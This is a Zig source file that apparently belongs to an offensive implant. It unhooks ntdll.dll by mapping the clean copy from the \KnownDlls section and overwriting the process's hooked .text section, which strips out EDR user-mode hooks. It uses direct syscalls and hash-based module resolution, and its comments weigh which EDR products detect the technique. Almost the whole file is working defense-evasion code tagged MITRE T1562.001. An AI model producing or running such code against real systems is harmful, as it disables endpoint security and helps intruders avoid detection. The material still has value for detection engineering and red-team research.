// NTDLL unhooking — maps clean .text from \KnownDlls section object, overwrites EDR hooks. // Ref: https://ntdoc.m417z.com/ntopensection // MITRE: T1562.001 (Disable or Modify Tools) // DETECTION: Heavily signatured. DbgMan (May 2026): "CrowdStrike Falcon and SentinelOne // deploy signature detection for the unhooking byte-sequence pattern. Microsoft Defender // for Endpoint relies primarily on kernel callbacks and the ETW-TI provider rather than // user-mode inline hooks, making the entire user-mode unhook step strategically irrelevant // against MDE." Kept for environments without these EDRs. FreshyCalls (syscalls that // bypass hooks without unhooking) is the preferred approach. const std = @import("std"); const syscall = @import("syscall.zig"); const resolve = @import("resolve.zig"); const win = @import("win32.zig"); var g_unhooked: bool = false; // Restores clean ntdll .text by mapping the \KnownDlls\ntdll.dll section object. // EDR inline hooks live in the per-process ntdll copy. \KnownDlls holds the // original unmodified image mapped at boot by the kernel as a section object. // We map it into our process, copy clean .text over our hooked .text, and unmap. pub fn unhookNtdll() void { if (g_unhooked) return; g_unhooked = true; // Resolve ntdll base via ror13 hash (same as syscall.zig does) const ntdll_hash = resolve.hash_ror13("ntdll.dll"); const our_base = resolve.get_module_by_hash(ntdll_hash) orelse return; const our_bytes = @as([*]u8, @ptrCast(our_base)); // Parse PE headers to find .text bounds const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@alignCast(our_bytes))); if (dos.e_magic != 0x5A4D) return; const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 }, }, @ptrCast(@alignCast(our_bytes + @as(usize, @intCast(dos.e_lfanew))))); if (nt.Signature != 0x00004550) return; var text_va: usize = 0; var text_size: usize = 0; const section_off = dos.e_lfanew + 4 + 20 + 240; const sections = @as([*]align(1) extern struct { Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, pad: [12]u8, Characteristics: u32, }, @ptrFromInt(@intFromPtr(our_bytes) + @as(usize, @intCast(section_off)))); for (0..nt.FileHeader.NumberOfSections) |i| { if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) { text_va = sections[i].VirtualAddress; text_size = sections[i].VirtualSize; break; } } if (text_va == 0 or text_size == 0) return; // Open \KnownDlls\ntdll.dll section object const name = [_:0]u16{ '\\', 'K', 'n', 'o', 'w', 'n', 'D', 'l', 'l', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0 }; var us: win.UNICODE_STRING = .{ .Length = (@sizeOf(@TypeOf(name)) - 2), .MaximumLength = @sizeOf(@TypeOf(name)), .Buffer = @constCast(@ptrCast(&name)), }; var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES); oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES); oa.ObjectName = &us; oa.Attributes = win.OBJ_CASE_INSENSITIVE; var section_handle: win.HANDLE = undefined; if (!win.NT_SUCCESS(syscall.nt_open_section(§ion_handle, win.SECTION_MAP_READ, &oa))) return; defer _ = syscall.nt_close(section_handle); // Map the section into our process var view_base: ?*anyopaque = null; var view_size: win.SIZE_T = 0; _ = syscall.nt_map_view_of_section( section_handle, syscall.nt_current_process(), &view_base, 0, 0, null, &view_size, 2, // ViewUnmap = 2 0, win.PAGE_READONLY, ); if (view_base != null and view_size >= text_size) { // Copy clean .text from mapped section to our process's ntdll const clean_base = @as([*]u8, @ptrCast(view_base)); const our_text = our_bytes[text_va .. text_va + text_size]; // Make our .text writable for the copy var region_size: win.SIZE_T = text_size; var old_prot: win.DWORD = 0; var base_ptr: ?*anyopaque = @ptrCast(&our_bytes[text_va]); if (!win.NT_SUCCESS(syscall.nt_protect_virtual_memory( syscall.nt_current_process(), &base_ptr, ®ion_size, win.PAGE_READWRITE, &old_prot, ))) return; @memcpy(our_text, clean_base[0..text_size]); // Restore protection base_ptr = @ptrCast(&our_bytes[text_va]); region_size = text_size; _ = syscall.nt_protect_virtual_memory( syscall.nt_current_process(), &base_ptr, ®ion_size, win.PAGE_EXECUTE_READ, &old_prot, ); } // Cleanup if (view_base) |b| _ = syscall.nt_unmap_view_of_section(syscall.nt_current_process(), b); }